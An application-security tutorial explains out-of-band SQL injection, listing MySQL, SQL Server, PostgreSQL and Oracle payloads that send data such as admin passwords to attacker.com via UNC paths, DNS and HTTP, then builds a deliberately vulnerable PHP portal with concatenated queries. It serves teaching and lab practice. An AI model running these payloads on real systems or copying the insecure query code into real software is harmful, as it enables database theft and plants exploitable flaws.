Thilan Dissanayaka Application Security Apr 26

Out of Band SQL Injection

Out-of-Band SQL Injection (OOB SQLi) is an advanced SQL injection technique where the attacker cannot retrieve data directly through the same communication channel used to send the injection payload. Instead, the attacker must use alternative channels to exfiltrate data or confirm the success of the attack.

Unlike traditional SQL injection where results are returned in the HTTP response, Out-of-Band techniques rely on the database server's ability to make external network connections. This makes OOB SQLi particularly powerful because:

It works even when the application doesn't display query results
It can bypass many security filters and WAFs
It's effective against blind SQL injection scenarios
It can exfiltrate large amounts of data efficiently

How Out-of-Band SQL Injection Works

OOB SQL injection leverages database functions that can initiate outbound network connections. The typical attack flow involves:

Injection Point Discovery: Finding a vulnerable parameter that accepts SQL input
Network Function Exploitation: Using database-specific functions to make external requests
Data Exfiltration: Embedding sensitive data in the outbound requests
External Monitoring: Capturing the requests on an attacker-controlled server

Common techniques include:

DNS lookups with embedded data
HTTP requests to external servers
File operations that trigger network activity
Email sending functions
FTP connections

Database-Specific Functions

MySQL Out-of-Band Functions

LOAD_FILE() with UNC paths (Windows):

SELECT LOAD_FILE('\\\\attacker.com\\share\\file.txt');

INTO OUTFILE with UNC paths:

SELECT * FROM users INTO OUTFILE '\\\\attacker.com\\share\\data.txt';

SQL Server Out-of-Band Functions

xp_dirtree:

EXEC xp_dirtree '\\attacker.com\share';

xp_fileexist:

EXEC xp_fileexist '\\attacker.com\share\file.txt';

OPENROWSET:

SELECT * FROM OPENROWSET('SQLOLEDB','uid=sa;pwd=password;Network=DBMSSOCN;Address=attacker.com,80;timeout=5','SELECT 1');

PostgreSQL Out-of-Band Functions

COPY TO/FROM:

COPY (SELECT password FROM users WHERE username='admin') TO PROGRAM 'nslookup `cat`.attacker.com';

dblink:

SELECT dblink_connect('host=attacker.com user=test dbname=test');

Oracle Out-of-Band Functions

UTL_HTTP:

SELECT UTL_HTTP.REQUEST('http://attacker.com/'||password) FROM users WHERE username='admin';

UTL_INADDR:

SELECT UTL_INADDR.GET_HOST_ADDRESS('data.'||password||'.attacker.com') FROM users WHERE username='admin';

PHP Web Application Example

Let's create a vulnerable PHP application and demonstrate various OOB SQL injection techniques.

Vulnerable Application Setup

config.php (Database configuration)

<?php
// Database configuration
define('DB_HOST', 'localhost');
define('DB_USER', 'webapp');
define('DB_PASS', 'password123');
define('DB_NAME', 'company_db');

// Create database connection
function getDBConnection() {
    try {
        $pdo = new PDO(
            'mysql:host=' . DB_HOST . ';dbname=' . DB_NAME . ';charset=utf8',
            DB_USER,
            DB_PASS,
            [
                PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
                PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC
            ]
        );
        return $pdo;
    } catch (PDOException $e) {
        die('Database connection failed: ' . $e->getMessage());
    }
}

// Initialize database with sample data
function initializeDatabase() {
    $pdo = getDBConnection();

    // Create users table
    $pdo->exec("
        CREATE TABLE IF NOT EXISTS users (
            id INT AUTO_INCREMENT PRIMARY KEY,
            username VARCHAR(50) UNIQUE NOT NULL,
            password VARCHAR(255) NOT NULL,
            email VARCHAR(100) NOT NULL,
            role ENUM('admin', 'user') DEFAULT 'user',
            created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
        )
    ");

    // Create audit_logs table
    $pdo->exec("
        CREATE TABLE IF NOT EXISTS audit_logs (
            id INT AUTO_INCREMENT PRIMARY KEY,
            user_id INT,
            action VARCHAR(100) NOT NULL,
            details TEXT,
            ip_address VARCHAR(45),
            timestamp TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
            FOREIGN KEY (user_id) REFERENCES users(id)
        )
    ");

    // Create products table
    $pdo->exec("
        CREATE TABLE IF NOT EXISTS products (
            id INT AUTO_INCREMENT PRIMARY KEY,
            name VARCHAR(100) NOT NULL,
            description TEXT,
            price DECIMAL(10,2) NOT NULL,
            category VARCHAR(50),
            stock_quantity INT DEFAULT 0
        )
    ");

    // Insert sample data
    $users = [
        ['admin', '$2y$10$92IXUNpkjO0rOQ5byMi.Ye4oKoEa3Ro9llC/.og/at2.uheWG/igi', '[email protected]', 'admin'],
        ['john_doe', '$2y$10$92IXUNpkjO0rOQ5byMi.Ye4oKoEa3Ro9llC/.og/at2.uheWG/igi', '[email protected]', 'user'],
        ['jane_smith', '$2y$10$92IXUNpkjO0rOQ5byMi.Ye4oKoEa3Ro9llC/.og/at2.uheWG/igi', '[email protected]', 'user'],
        ['secret_user', '$2y$10$secrethash123456789', '[email protected]', 'admin']
    ];

    foreach ($users as $user) {
        $pdo->prepare("INSERT IGNORE INTO users (username, password, email, role) VALUES (?, ?, ?, ?)")
            ->execute($user);
    }

    // Insert sample products
    $products = [
        ['Laptop Pro', 'High-performance laptop', 1299.99, 'Electronics', 50],
        ['Wireless Mouse', 'Ergonomic wireless mouse', 29.99, 'Electronics', 100],
        ['Office Chair', 'Comfortable office chair', 199.99, 'Furniture', 25]
    ];

    foreach ($products as $product) {
        $pdo->prepare("INSERT IGNORE INTO products (name, description, price, category, stock_quantity) VALUES (?, ?, ?, ?, ?)")
            ->execute($product);
    }
}

// Initialize database on first run
initializeDatabase();
?>

index.php (Main application)

<?php
require_once 'config.php';
session_start();
?>

<!DOCTYPE html>
<html>
<head>
    <title>Company Portal</title>
    <style>
        body { font-family: Arial, sans-serif; margin: 20px; background: #f5f5f5; }
        .container { max-width: 1200px; margin: 0 auto; background: white; padding: 20px; border-radius: 8px; }
        .nav { background: #333; padding: 10px; margin: -20px -20px 20px -20px; }
        .nav a { color: white; text-decoration: none; margin-right: 20px; }
        .form-group { margin: 15px 0; }
        .form-group label { display: block; margin-bottom: 5px; font-weight: bold; }
        .form-group input, .form-group select, .form-group textarea { 
            width: 100%; padding: 8px; border: 1px solid #ddd; border-radius: 4px; 
        }
        button { background: #007cba; color: white; padding: 10px 20px; border: none; border-radius: 4px; cursor: pointer; }
        .results { background: #f9f9f9; padding: 15px; margin: 20px 0; border-radius: 4px; }
        .error { background: #ffebee; color: #c62828; padding: 10px; border-radius: 4px; margin: 10px 0; }
        .success { background: #e8f5e8; color: #2e7d32; padding: 10px; border-radius: 4px; margin: 10px 0; }
        table { width: 100%; border-collapse: collapse; margin: 20px 0; }
        th, td { padding: 10px; text-align: left; border-bottom: 1px solid #ddd; }
        th { background: #f5f5f5; }
    </style>
</head>
<body>
    <div class="container">
        <div class="nav">
            <a href="?page=search">User Search</a>
            <a href="?page=products">Product Lookup</a>
            <a href="?page=audit">Audit Logs</a>
            <a href="?page=contact">Contact Form</a>
            <a href="?page=feedback">Feedback System</a>
        </div>

        <?php
        $page = $_GET['page'] ?? 'search';

        switch($page) {
            case 'search':
                include 'user_search.php';
                break;
            case 'products':
                include 'product_lookup.php';
                break;
            case 'audit':
                include 'audit_logs.php';
                break;
            case 'contact':
                include 'contact_form.php';
                break;
            case 'feedback':
                include 'feedback_system.php';
                break;
            default:
                include 'user_search.php';
        }
        ?>
    </div>
</body>
</html>

Vulnerable Endpoints

user_search.php (Vulnerable user search)

<h2>User Search</h2>
<p>Search for users in the system:</p>

<form method="POST">
    <div class="form-group">
        <label>Search Term:</label>
        <input type="text" name="search" placeholder="Enter username or email" 
               value="<?php echo htmlspecialchars($_POST['search'] ?? ''); ?>">
    </div>
    <div class="form-group">
        <label>Search Type:</label>
        <select name="search_type">
            <option value="username">Username</option>
            <option value="email">Email</option>
            <option value="role">Role</option>
        </select>
    </div>
    <button type="submit">Search Users</button>
</form>

<?php
if ($_POST['search']) {
    $search = $_POST['search'];
    $searchType = $_POST['search_type'] ?? 'username';

    try {
        $pdo = getDBConnection();

        // VULNERABLE: Direct string concatenation - OOB SQLi possible
        $query = "SELECT username, email, role FROM users WHERE $searchType LIKE '%$search%'";

        $stmt = $pdo->query($query);
        $results = $stmt->fetchAll();

        echo "<div class='results'>";
        echo "<h3>Search Results:</h3>";

        if ($results) {
            echo "<table>";
            echo "<tr><th>Username</th><th>Email</th><th>Role</th></tr>";
            foreach ($results as $user) {
                echo "<tr>";
                echo "<td>" . htmlspecialchars($user['username']) . "</td>";
                echo "<td>" . htmlspecialchars($user['email']) . "</td>";
                echo "<td>" . htmlspecialchars($user['role']) . "</td>";
                echo "</tr>";
            }
            echo "</table>";
        } else {
            echo "<p>No users found matching your search.</p>";
        }
        echo "</div>";

    } catch (Exception $e) {
        // Suppressed error - makes it blind
        echo "<div class='error'>Search failed. Please try again.</div>";
    }
}
?>

product_lookup.php (Vulnerable product lookup)

<h2>Product Lookup</h2>
<p>Look up product information by ID:</p>

<form method="GET">
    <input type="hidden" name="page" value="products">
    <div class="form-group">
        <label>Product ID:</label>
        <input type="number" name="id" placeholder="Enter product ID" 
               value="<?php echo htmlspecialchars($_GET['id'] ?? ''); ?>">
    </div>
    <button type="submit">Lookup Product</button>
</form>

<?php
if (isset($_GET['id'])) {
    $productId = $_GET['id'];

    try {
        $pdo = getDBConnection();

        // VULNERABLE: Direct parameter insertion
        $query = "SELECT * FROM products WHERE id = $productId";

        $stmt = $pdo->query($query);
        $product = $stmt->fetch();

        echo "<div class='results'>";
        echo "<h3>Product Information:</h3>";

        if ($product) {
            echo "<table>";
            echo "<tr><th>Field</th><th>Value</th></tr>";
            foreach ($product as $field => $value) {
                echo "<tr><td>" . htmlspecialchars($field) . "</td><td>" . htmlspecialchars($value) . "</td></tr>";
            }
            echo "</table>";
        } else {
            echo "<p>Product not found.</p>";
        }
        echo "</div>";

    } catch (Exception $e) {
        // Log error but don't display - perfect for OOB
        error_log("Database error: " . $e->getMessage());
        echo "<div class='error'>Unable to retrieve product information.</div>";
    }
}
?>

audit_logs.php (Vulnerable audit log search)

<h2>Audit Log Search</h2>
<p>Search audit logs by date range:</p>

<form method="POST">
    <div class="form-group">
        <label>Start Date:</label>
        <input type="date" name="start_date" value="<?php echo $_POST['start_date'] ?? ''; ?>">
    </div>
    <div class="form-group">
        <label>End Date:</label>
        <input type="date" name="end_date" value="<?php echo $_POST['end_date'] ?? ''; ?>">
    </div>
    <div class="form-group">
        <label>User ID (optional):</label>
        <input type="text" name="user_id" placeholder="Enter user ID" 
               value="<?php echo htmlspecialchars($_POST['user_id'] ?? ''); ?>">
    </div>
    <button type="submit">Search Logs</button>
</form>

<?php
if ($_POST['start_date'] || $_POST['end_date']) {
    $startDate = $_POST['start_date'] ?? '1970-01-01';
    $endDate = $_POST['end_date'] ?? '2099-12-31';
    $userId = $_POST['user_id'] ?? '';

    try {
        $pdo = getDBConnection();

        // VULNERABLE: String concatenation with user input
        $query = "SELECT al.*, u.username FROM audit_logs al 
                  LEFT JOIN users u ON al.user_id = u.id 
                  WHERE al.timestamp BETWEEN '$startDate' AND '$endDate'";

        if (!empty($userId)) {
            $query .= " AND al.user_id = $userId";
        }

        $query .= " ORDER BY al.timestamp DESC LIMIT 100";

        $stmt = $pdo->query($query);
        $logs = $stmt->fetchAll();

        echo "<div class='results'>";
        echo "<h3>Audit Logs:</h3>";

        if ($logs) {
            echo "<table>";
            echo "<tr><th>Timestamp</th><th>User</th><th>Action</th><th>Details</th></tr>";
            foreach ($logs as $log) {
                echo "<tr>";
                echo "<td>" . htmlspecialchars($log['timestamp']) . "</td>";
                echo "<td>" . htmlspecialchars($log['username'] ?? 'Unknown') . "</td>";
                echo "<td>" . htmlspecialchars($log['action']) . "</td>";
                echo "<td>" . htmlspecialchars($log['details']) . "</td>";
                echo "</tr>";
            }
            echo "</table>";
        } else {
            echo "<p>No audit logs found for the specified criteria.</p>";
        }
        echo "</div>";

    } catch (Exception $e) {
        // Suppress detailed error information
        echo "<div class='error'>Unable to retrieve audit logs.</div>";
    }
}
?>

feedback_system.php (Vulnerable feedback with time-based potential)

<h2>Feedback System</h2>
<p>Submit feedback about our services:</p>

<form method="POST">
    <div class="form-group">
        <label>Your Name:</label>
        <input type="text" name="name" required 
               value="<?php echo htmlspecialchars($_POST['name'] ?? ''); ?>">
    </div>
    <div class="form-group">
        <label>Email:</label>
        <input type="email" name="email" required 
               value="<?php echo htmlspecialchars($_POST['email'] ?? ''); ?>">
    </div>
    <div class="form-group">
        <label>Category:</label>
        <select name="category">
            <option value="general">General</option>
            <option value="technical">Technical</option>
            <option value="billing">Billing</option>
            <option value="support">Support</option>
        </select>
    </div>
    <div class="form-group">
        <label>Feedback:</label>
        <textarea name="feedback" rows="5" required><?php echo htmlspecialchars($_POST['feedback'] ?? ''); ?></textarea>
    </div>
    <button type="submit">Submit Feedback</button>
</form>

<?php
if ($_POST['name']) {
    $name = $_POST['name'];
    $email = $_POST['email'];
    $category = $_POST['category'];
    $feedback = $_POST['feedback'];

    try {
        $pdo = getDBConnection();

        // VULNERABLE: Direct string interpolation in ORDER BY
        $sortBy = $_POST['sort_by'] ?? 'id';

        // This creates a time-based blind SQLi opportunity
        $query = "INSERT INTO feedback (name, email, category, feedback, created_at) 
                  VALUES ('$name', '$email', '$category', '$feedback', NOW())";

        $pdo->exec($query);

        // Simulate a query that could be exploited with time delays
        $checkQuery = "SELECT COUNT(*) FROM feedback WHERE category = '$category' ORDER BY $sortBy";
        $result = $pdo->query($checkQuery);

        echo "<div class='success'>Thank you for your feedback! It has been recorded.</div>";

    } catch (Exception $e) {
        echo "<div class='error'>Unable to submit feedback. Please try again.</div>";
    }
}
?>